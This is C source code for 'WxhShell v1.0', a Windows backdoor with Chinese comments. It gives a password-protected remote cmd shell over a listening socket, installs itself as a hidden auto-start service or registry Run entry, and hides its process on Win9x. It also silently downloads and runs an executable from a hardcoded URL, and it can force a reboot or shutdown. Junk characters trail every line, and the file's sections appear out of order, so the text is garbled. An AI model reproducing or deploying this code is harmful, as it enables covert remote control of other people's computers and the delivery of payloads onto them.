    if(Boot(SHUTDOWN)) 3 {sVVq5Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T'Dv.h  
    else { [2 M'PT3  
    closesocket(wsh); T%*D~=fQ'  
    ExitThread(0); ]2qo+yB  
    } uiR8,H9*M  
    break; DT&@^$?  
    } U-tTW*[1]  
  // 获取shell 7a<DKB  
  case 's': { Fd9 [pU  
    CmdShell(wsh); 0*{%=M  
    closesocket(wsh); )|# sfHv7  
    ExitThread(0); b,1ePS  
    break; s&3Vg7B  
  } )oPBa  
  // 退出 bq0zxg%  
  case 'x': { UH"%N)[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Em~>9f ?Q(  
    CloseIt(wsh); }`m/bgtFX  
    break; Ao&"r[oJSv  
    } YNsJZnGr8#  
  // 离开 $kp{Eg '  
  case 'q': { hZt!/?dc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Bh-ym8D  
    closesocket(wsh); ' %o#q6O  
    WSACleanup(); :& ."ttf=  
    exit(1); 8[{ Vu0R  
    break; @GW #&\yM  
        } sdw(R#GE  
  } =]0&i]z[.  
  } Se =`N  
BR;D@R``}  
  // 提示信息 t'k$&l}+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3AN/ H  
} XUuN )i  
  } $*=<Yw4  
bY~pc\V:`w  
  return; 'E""amIJ  
} oe-\ozJ0  
3L}A3de'  
// shell模块句柄 w NdisI  
int CmdShell(SOCKET sock) V)N%WX G  
{ kc&U'&RgY  
STARTUPINFO si; II{&{S'HU  
ZeroMemory(&si,sizeof(si)); /h|#J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^s"R$?;h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Y`a3tO=Pd  
PROCESS_INFORMATION ProcessInfo; {F.[&/A  
char cmdline[]="cmd"; ye5&)d"fa(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E$p+}sP(C  
  return 0; *b\t#meS&  
} I9ep`X6Y  
&gx%b*;`L0  
// 自身启动模式 Q>i^s@0  
int StartFromService(void) ['iPl/v0  
{ Q hO!Ma]  
typedef struct YT(AUS5n  
{ BLD gt~h#  
  DWORD ExitStatus; V1M.JU  
  DWORD PebBaseAddress; +@wD qc  
  DWORD AffinityMask; *(DV\.l`  
  DWORD BasePriority; vUM4S26"NT  
  ULONG UniqueProcessId; P+/e2Y  
  ULONG InheritedFromUniqueProcessId; zIAD9mQex  
}   PROCESS_BASIC_INFORMATION; l2Rb\4  
cSV aI  
PROCNTQSIP NtQueryInformationProcess; A2Gevj?F$  
s!$7(Q86R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XZd,&YiaG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f._ua>v,f  
_xhax+,! ~  
  HANDLE             hProcess; {3aua:q  
  PROCESS_BASIC_INFORMATION pbi; -ZLJeY L  
#KZBsa@p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;NITc  
  if(NULL == hInst ) return 0; 9'bwWBf7  
R8'RA%O9J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ds:'Lb  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rFL;'Cj@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j&qub_j"xX  
brUF6rQ  
  if (!NtQueryInformationProcess) return 0; ?&1!vz  
II,8O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [d ]9Oa4  
  if(!hProcess) return 0; TuaBm1S{f  
h@ry y\9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9XB8VKu8  
{I't]Qj_e  
  CloseHandle(hProcess); nAdf=D'P  
b d!Y\OD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t"oeQ*d%  
if(hProcess==NULL) return 0; I-l_TpM)  
&{t,'[ u  
HMODULE hMod; M9%$lCl   
char procName[255]; I%KYtv~ `  
unsigned long cbNeeded; e+fN6v5pU  
NK H@+,+V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C$`tbq  
3/eca  
  CloseHandle(hProcess); j?4qO]_Wx+  
5`p.#  
if(strstr(procName,"services")) return 1; // 以服务启动 ;;/{xvQ.1  
;9QEK]@  
  return 0; // 注册表启动 p9-K_dw3X@  
} AFwdJte9e  
uQKT  
// 主模块 YPI-<vM~  
int StartWxhshell(LPSTR lpCmdLine) O0H.C0}  
{  z+X}HL  
  SOCKET wsl; b@hqz!)l`  
BOOL val=TRUE; '!B&:X)  
  int port=0; J5,9_uo]  
  struct sockaddr_in door; Ab.(7GFK  
$/Uq0U  
  if(wscfg.ws_autoins) Install(); {]4LULq  
sK?twg;D*|  
port=atoi(lpCmdLine); HJ.-Dg5U  
KHvYUTY  
if(port<=0) port=wscfg.ws_port; ,Ma^&ypH  
j^RmrOg ,  
  WSADATA data; NC6&x=!3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (KZ{^X?a  
a/xn'"eli  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @-`*m+$U6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5wU]!bxr  
  door.sin_family = AF_INET; SNk=b6`9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ysnx3(+|  
  door.sin_port = htons(port); iuul7VR-%  
Dk51z@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'i|YlMFIg  
closesocket(wsl); <t!W5q  
return 1; G7/ +ogV  
} ;L ^o*`  
g2Z`zQA7  
  if(listen(wsl,2) == INVALID_SOCKET) { }3WxZv]I}  
closesocket(wsl); aV0"~5  
return 1; ]\HvKCN}  
} +^F Zq$NP  
  Wxhshell(wsl); "qy,*{~  
  WSACleanup(); +k R4E23:  
qwAT>4  
return 0; &m;*<}X  
Bdpy:'fJn  
} l,aay-E  
V0a3<6@4  
// 以NT服务方式启动 aw&,S"A@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '8kP.l  
{ +R75v)  
DWORD   status = 0; )NT*bLRPQ  
  DWORD   specificError = 0xfffffff; (A.C]hD  
1s;S aq+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &=mtc%mL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6j|{`Zd)G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )%fH(ns(  
  serviceStatus.dwWin32ExitCode     = 0; (S Yln>o  
  serviceStatus.dwServiceSpecificExitCode = 0; gbD KE{  
  serviceStatus.dwCheckPoint       = 0; 2y1Sne=<Kb  
  serviceStatus.dwWaitHint       = 0; HTTC TR  
% |L=l{g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AFt s(  
  if (hServiceStatusHandle==0) return; %E;'ln4h&,  
Qn2&nD%zi  
status = GetLastError(); #~=Ry H  
  if (status!=NO_ERROR) \a3+rN dj  
{ j.= 1rwPt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <9b &<K:  
    serviceStatus.dwCheckPoint       = 0; es0hm2HT3  
    serviceStatus.dwWaitHint       = 0; V>3X\)qu  
    serviceStatus.dwWin32ExitCode     = status; XQw9~$  
    serviceStatus.dwServiceSpecificExitCode = specificError; )0k53-h&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }c:M^Ff  
    return; G=bCNn<  
  } [()koU#w.  
I)HPO,7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3=V &K-  
  serviceStatus.dwCheckPoint       = 0; 'dc#F3  
  serviceStatus.dwWaitHint       = 0; 1Ai^cf:S  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b%c9oR's^  
} cso8xq|b7  
tfWS)y7  
// 处理NT服务事件,比如:启动、停止 %\:Wi#w>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .x&%HA  
{ ML p9y#  
switch(fdwControl) 8H`[*|{'  
{ ]hV*r@d  
case SERVICE_CONTROL_STOP: &BSn?  
  serviceStatus.dwWin32ExitCode = 0; :b!s2n!u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; uhq8   
  serviceStatus.dwCheckPoint   = 0; ,<X9Y2B  
  serviceStatus.dwWaitHint     = 0; RPbZ(.  
  { +aAc9'k   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I5W~g.<6  
  } Vi|#@tC'  
  return; )QJUUn#  
case SERVICE_CONTROL_PAUSE: (**oRwr%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |k9 C/  
  break; m(P]k'ZH?  
case SERVICE_CONTROL_CONTINUE: ?gXp*>Kg[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1{.9uw"2S  
  break; X5w$4Kj&4l  
case SERVICE_CONTROL_INTERROGATE: QTnP'5y  
  break; ksm~<;td  
}; ,`sv1xwd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iN.n8MN=I  
} K@%].:  
z{r}~{{E  
// 标准应用程序主函数 HK% 7g  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pc]HP  
{ y<.5xq5_3  
ez[Vm:2K  
// 获取操作系统版本 4mbBmQV$#  
OsIsNt=GetOsVer(); u$`a7Lp,n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lk=<A"^S  
!PE]C!*gv&  
  // 从命令行安装 1AFA=t:]p  
  if(strpbrk(lpCmdLine,"iI")) Install(); wdoR%b{M  
dgP3@`YS  
  // 下载执行文件 #p{4^  
if(wscfg.ws_downexe) { uEx-]F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YchH~m|  
  WinExec(wscfg.ws_filenam,SW_HIDE);  _','9|  
} {\\T gs  
U%/+B]6jP  
if(!OsIsNt) { ^kSqsT"  
// 如果时win9x,隐藏进程并且设置为注册表启动 0IWf!Sk ]  
HideProc(); Gp\ kU:}&  
StartWxhshell(lpCmdLine); Kf-JcBsrT  
} $Z>'Jp  
else 7PF%76TO  
  if(StartFromService()) A<fG}q1#  
  // 以服务方式启动 8l">cVo]T  
  StartServiceCtrlDispatcher(DispatchTable); [.}oyz; }N  
else ;O #>Y  
  // 普通方式启动 q0 \6F^;M  
  StartWxhshell(lpCmdLine); ]K%!@O!  
]JR +ayk7  
return 0; M'l ;:  
} OB}Ib]  
yF/jFn  
aQI(Y^&%3  
.o}v#W+st  
=========================================== wS3'?PRX  
a09<!0Rp  
y~HP>~Oh  
W(/h Vt  
HLi%%"'  
XB5DPx  
" \.}c9*)  
cl/_JQ&  
#include <stdio.h> h FBe,'3M  
#include <string.h> ] }X  
#include <windows.h> J?$,c4;W2  
#include <winsock2.h> '4<1 1(U  
#include <winsvc.h> P1f[% 1  
#include <urlmon.h> -D~%|).'  
]J]h#ZHx  
#pragma comment (lib, "Ws2_32.lib") lk80#( :Z  
#pragma comment (lib, "urlmon.lib") e@YK@?^#N  
r,2g^ K)6  
#define MAX_USER   100 // 最大客户端连接数 rQ snhv  
#define BUF_SOCK   200 // sock buffer '}#9)}x!  
#define KEY_BUFF   255 // 输入 buffer Ef{Vp;]  
UR5`ue ;  
#define REBOOT     0   // 重启 ;xn0;V'=  
#define SHUTDOWN   1   // 关机 J4U1t2@)9  
[opGZ`>)j"  
#define DEF_PORT   5000 // 监听端口 ;]:@n;c\  
caX< n>  
#define REG_LEN     16   // 注册表键长度 h!9ei6  
#define SVC_LEN     80   // NT服务名长度 _u9Jxw?F@Y  
}l9llu   
// 从dll定义API T&7qC=E#5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zp?`N;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 11;zNjD|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @`Su0W+.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r#mx~OVkk  
-`6+UkOV[x  
// wxhshell配置信息 P0jtp7)7  
struct WSCFG { Fv`,3aNB  
  int ws_port;         // 监听端口 6;5Ss?ep  
  char ws_passstr[REG_LEN]; // 口令 iDrZc  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q=yg8CQ  
  char ws_regname[REG_LEN]; // 注册表键名 [)X\|pO&  
  char ws_svcname[REG_LEN]; // 服务名 Z;)%%V%o  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h2J x]FJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eh#(eua0/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 El"Q'(:/U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zT-_5uZQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lU8Hd|@-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K!l5coM  
a7%]Y}$  
}; BTrn0  
;i+#fQO7Q  
// default Wxhshell configuration  %D "I  
struct WSCFG wscfg={DEF_PORT, a C)!T  
    "xuhuanlingzhe", 8, >P  
    1, )wh A<lC  
    "Wxhshell", "kqPmeI  
    "Wxhshell", hP&B t  
            "WxhShell Service", U~7c+}:c  
    "Wrsky Windows CmdShell Service", ufT`"i  
    "Please Input Your Password: ", II x#2r  
  1, uY'HT|@:{  
  "http://www.wrsky.com/wxhshell.exe", ^K@C"j?M/  
  "Wxhshell.exe" ` sU/&  P  
    }; ,$&&-p I]  
@Do= k  
// 消息定义模块 ;sFF+^~L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S|+o-[e8O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4H]L~^CD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r]36z X v  
char *msg_ws_ext="\n\rExit."; jrh43 \$*  
char *msg_ws_end="\n\rQuit."; 3=ymm^  
char *msg_ws_boot="\n\rReboot..."; VY\&8n}e(  
char *msg_ws_poff="\n\rShutdown..."; SasJic2M  
char *msg_ws_down="\n\rSave to "; R{T$[$6S  
Xla~Yg  
char *msg_ws_err="\n\rErr!"; 65^9  
char *msg_ws_ok="\n\rOK!"; _:27]K:  
x-3\Ls[I  
char ExeFile[MAX_PATH]; !%0 * z  
int nUser = 0; o{[YA} xc  
HANDLE handles[MAX_USER]; IPo?:1x]s  
int OsIsNt;  ; 4~hB  
k$^`{6l  
SERVICE_STATUS       serviceStatus; VP]%Hni]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B^9j@3Ux  
*;*r 8[U}q  
// 函数声明 PwLZkr@4^  
int Install(void); -3Vx76Y  
int Uninstall(void); &:) Wh[  
int DownloadFile(char *sURL, SOCKET wsh); 83q6Sv  
int Boot(int flag); ^y%T~dLkp'  
void HideProc(void); V "h +L7T  
int GetOsVer(void); @;RXLq/8  
int Wxhshell(SOCKET wsl); o " #\ >  
void TalkWithClient(void *cs); IO-Ow!  
int CmdShell(SOCKET sock); [ibu/ W$  
int StartFromService(void); ^J;bso`  
int StartWxhshell(LPSTR lpCmdLine); @<&m|qtMsz  
w`zTR0`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C~iL3C b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /t"3!Z?BOv  
oILZgNe'  
// 数据结构和表定义 pIX`MlBdF  
SERVICE_TABLE_ENTRY DispatchTable[] = ?(i{y~  
{ Jg| XH L)  
{wscfg.ws_svcname, NTServiceMain}, d-dEQKI?;  
{NULL, NULL} N<injx  
}; R*2E/8Ia  
\P`hq^;  
// 自我安装 oM`0y@QCf  
int Install(void) &KRX[2  
{ ~IN>3\j  
  char svExeFile[MAX_PATH]; c\ lkD-\  
  HKEY key; @J`"[%U  
  strcpy(svExeFile,ExeFile); Q$@I"V&G.  
#4 pB@_  
// 如果是win9x系统,修改注册表设为自启动 SI-Ops~e  
if(!OsIsNt) { jtc]>]6i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NHZz _a=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !d0kV,F:  
  RegCloseKey(key); 7O-x<P;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H~1 jY4E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _"rgET`vW  
  RegCloseKey(key); Z>5b;8  
  return 0; ;hN!s`vq  
    } *CI#+P  
  } 5]Y?m'  
} }S<2A7)el  
else { kL"2=7m;  
YteO 6A;  
// 如果是NT以上系统,安装为系统服务 4@# `t5H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HCC#j9UN6  
if (schSCManager!=0) @r/n F5  
{ wcY? rE9  
  SC_HANDLE schService = CreateService %M|hA#04vZ  
  ( }Ud*TOo`  
  schSCManager, _>X+ZlpU:  
  wscfg.ws_svcname, (0_2sfS  
  wscfg.ws_svcdisp, eV?2LtT#5  
  SERVICE_ALL_ACCESS, Zba2d,8/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J{fH ['tzO  
  SERVICE_AUTO_START, RdR p.pb8  
  SERVICE_ERROR_NORMAL, I(BQ34q  
  svExeFile, <lE <f+  
  NULL, GDiBl*D  
  NULL, _^%,x  
  NULL, n]o<S+z  
  NULL, vT,AMja  
  NULL 3m!X/u  
  ); VQ9/Gxdeo  
  if (schService!=0) n[Y~]  
  { Fyatd  
  CloseServiceHandle(schService); IKilr'  
  CloseServiceHandle(schSCManager); Vb]=B~^`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % ^1V4  
  strcat(svExeFile,wscfg.ws_svcname); <1${1A <Wa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [j/9neaye  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N~zdWnSZ@G  
  RegCloseKey(key); #fn)k1  
  return 0; 6fEqqUeV  
    } K/yxE|w<  
  } Uf;^%*P4  
  CloseServiceHandle(schSCManager); R|87%&6']  
} u^ 8{Z;mm  
} &powy7rR  
Sk\K4  
return 1; :emiQ  
} Iom'Y@x  
5f K_Aq{  
// 自我卸载 nazZ*lC  
int Uninstall(void) Gm^U;u}=f  
{ q ,]L$  
  HKEY key; 4yA+ h2  
0rs"o-s<  
if(!OsIsNt) { N]=q|D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j/c&xv 7=  
  RegDeleteValue(key,wscfg.ws_regname); Sp]0c[37R  
  RegCloseKey(key); eiaFaYe\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XW)lDiJl  
  RegDeleteValue(key,wscfg.ws_regname); o~y;j75{.*  
  RegCloseKey(key); c2 C8g1n  
  return 0; ['tY4$L(  
  } 4*cEag   
} w;:*P  
} !@*7e:l  
else { `% "\@<  
#r~# I}U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ( 2E\p  
if (schSCManager!=0) '/p/8V.O.  
{ u.m[u)HQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zaf:fsj>  
  if (schService!=0) jZkcBIK2  
  { FxWSV|Z  
  if(DeleteService(schService)!=0) { 1FL~ndJs  
  CloseServiceHandle(schService); LxSpctiNx  
  CloseServiceHandle(schSCManager); >7T'OC  
  return 0; 6Vnsi%{  
  } Nkth>7*  
  CloseServiceHandle(schService); W/bQd)Jvk  
  } Ee%%d  
  CloseServiceHandle(schSCManager); Q6!zZ))~  
} sfugY (m  
} z3m85F%dR  
WUXx;9>  
return 1; yfjWbW  
} Z4w!p?Wqa  
6@F9G 4<Z  
// 从指定url下载文件 sW'AjI  
int DownloadFile(char *sURL, SOCKET wsh) 17"uf.G  
{ NgGp  
  HRESULT hr; ' ;FnIZ  
char seps[]= "/"; Ma']?Rb`  
char *token; S3*`jF>q  
char *file; Hc$O{]sq  
char myURL[MAX_PATH]; a;qryUyG  
char myFILE[MAX_PATH]; =M [bnq*\  
PQSP&  
strcpy(myURL,sURL); jB Z&Ad@e  
  token=strtok(myURL,seps); Q}K"24`=  
  while(token!=NULL) b;W3j   
  { M@H;pJ+B  
    file=token; 4ber!rJM  
  token=strtok(NULL,seps); *:LK8U  
  } x$.^"l-vX  
g<; q.ZylT  
GetCurrentDirectory(MAX_PATH,myFILE); ?*1uN=oI{*  
strcat(myFILE, "\\"); o!Ieb  
strcat(myFILE, file); ;yLu R  
  send(wsh,myFILE,strlen(myFILE),0); g._]8{K  
send(wsh,"...",3,0); v,{ :Ez(H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *-=(Q`3  
  if(hr==S_OK) bL+_j}{:N  
return 0; f<fXsSv(  
else l \!fj#  
return 1; PI:4m%[  
e L^ |v  
} )D5"ap]fX  
4 I k{  
// 系统电源模块 )@l%  
int Boot(int flag) BB!THj69a6  
{ j<99FW"@e  
  HANDLE hToken; P%:wAYz1^O  
  TOKEN_PRIVILEGES tkp; ~"&|W'he[  
vkx7paY_  
  if(OsIsNt) { JHM9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'qb E=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nn:.nU|I  
    tkp.PrivilegeCount = 1; Vvn2 Ep  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2~1SQ.Q<RY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ll<Xz((o  
if(flag==REBOOT) { m '|b GV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oWim}Er=  
  return 0; FxtQXu-g  
} F|o:W75  
else { iohop(LZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T@:Wp4>69  
  return 0; Yz/md1T$  
} jrlVvzZ  
  } ~Ei$nV  
  else { ^& tZ  
if(flag==REBOOT) { 9N%We|L,c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n.`($yR_  
  return 0; 6xe*E[#k\  
} p$NQyS5C"S  
else { hOu3 bA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :0j?oY~e  
  return 0; ,.83m%i  
} LqoB 10Kc\  
} jk; clwyz/  
+,T RfP Fb  
return 1; @uqd.Q  
} U0 Yll4E  
(cAIvgI  
// win9x进程隐藏模块 ~q@|l3?$  
void HideProc(void) MSQEO4ge  
{ o/$}  
* J7DY f  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L O_k@3  
  if ( hKernel != NULL ) SO|NaqWa  
  { QuF:p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hLd^ agX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TluW-S  
    FreeLibrary(hKernel); zUkgG61  
  } dUeN*Nq&(,  
)BZ.Sv  
return; KQaxvU)L  
} g|DF[  
q1$N>;&  
// 获取操作系统版本 p*R;hU  
int GetOsVer(void) Cx(>RXVoJ,  
{ Fh?gNSWq6  
  OSVERSIONINFO winfo; ??-[eB.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W+aP}rZm:  
  GetVersionEx(&winfo); (Du@ S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^EtMxF@D  
  return 1; k2omJ$?v  
  else ITE{@1  
  return 0; Xk~D$~4<  
} ~9,,~db  
#l\=}#\1Wb  
// 客户端句柄模块 DbBcQ%  
int Wxhshell(SOCKET wsl) ~9a<0Mc?  
{ I+%[d^,  
  SOCKET wsh; x*/t yZg6  
  struct sockaddr_in client;  &=@IzmA  
  DWORD myID; \+oQd=K@  
7{e  4c  
  while(nUser<MAX_USER) o8V5w!+#  
{ ?(' wn<  
  int nSize=sizeof(client); GfxZ'VIn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fa jGZyd0:  
  if(wsh==INVALID_SOCKET) return 1; :KSV4>X[%a  
rKe2/4>0X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fy>{QC\  
if(handles[nUser]==0) aD<A.Lhy  
  closesocket(wsh); Q Uwd [  
else j78i #}e  
  nUser++; qTRsZz@  
  } ,8S/t+H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .KB^3pOpx  
tVYF{3BhA  
  return 0; :;RMo2Tl  
} YFLZ%(  
SB;&GHq"n  
// 关闭 socket 2.`\  
void CloseIt(SOCKET wsh) 7X`g,b!  
{ c?(4t67|  
closesocket(wsh); YquI$PV _  
nUser--; -P(efYk  
ExitThread(0); 8l>?Pv  
} B?eCe}*f;B  
1jmjg~W  
// 客户端请求句柄 ,Q3T Tno ,  
void TalkWithClient(void *cs) WA<v9#m  
{ Hck]aKI+  
<O(4TO  
  SOCKET wsh=(SOCKET)cs; |%BOZT  
  char pwd[SVC_LEN]; e[{0)y>=  
  char cmd[KEY_BUFF]; fF!Yp iI"  
char chr[1]; h/QXPdV  
int i,j; $g^@AdE%  
aj-Km`5r}  
  while (nUser < MAX_USER) { HDz5&7* .  
iQ0KfoG?U  
if(wscfg.ws_passstr) { *^pR%E .  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $f$SNx)),  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f%A;`4 `q  
  //ZeroMemory(pwd,KEY_BUFF); #>a\>iKQ2q  
      i=0; S^JbyD_yoh  
  while(i<SVC_LEN) { 6gU96Z  
pE3?"YO  
  // 设置超时 SJlr53  
  fd_set FdRead; rP'me2 B  
  struct timeval TimeOut; /`Ug9,*  
  FD_ZERO(&FdRead); WqR&&gz  
  FD_SET(wsh,&FdRead); PF0_8,@U  
  TimeOut.tv_sec=8; ^Y?k0z  
  TimeOut.tv_usec=0; #z'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M :=J^0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :;v~%e{k  
[@_Jj3`4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ucb F|vkI  
  pwd=chr[0]; .y'>[  
  if(chr[0]==0xd || chr[0]==0xa) { 1>.Ev,X+e  
  pwd=0; \:P>le'1  
  break; DcS+_>a\{l  
  } ob!P ;]T  
  i++; _f7 9wx\B  
    } ,=uD^n:  
mn'A9er  
  // 如果是非法用户,关闭 socket c rQ8q;:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w$>u b@=  
} 8:q1~`?5"b  
K$z2YJ%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  }t!Gey  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b3P+H r  
Yz9owe8}[  
while(1) { !@5 9)  
[ XN={  
  ZeroMemory(cmd,KEY_BUFF); NYhB'C2  
RV1coC.g4x  
      // 自动支持客户端 telnet标准   i}(LqcYU  
  j=0; Do9x XK  
  while(j<KEY_BUFF) { i[i4h"$0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8u"U1  
  cmd[j]=chr[0]; M^A48u{,"  
  if(chr[0]==0xa || chr[0]==0xd) { E[OJ+ ;c  
  cmd[j]=0; 1Te %F+7  
  break; !OZy7  
  } ]|#+zx|/D  
  j++; "BAK !N$9  
    } g9OY<w5s]  
BqEI(c 6  
  // 下载文件 g/4[N{Xf  
  if(strstr(cmd,"http://")) { (xycJ`N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?C]vS_jAh  
  if(DownloadFile(cmd,wsh)) pG_;$8Hc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); k``_EiV4t  
  else yER(6V'\iQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >k|5Okq g  
  } cF*TotU_m  
  else { .C%<P"=J4h  
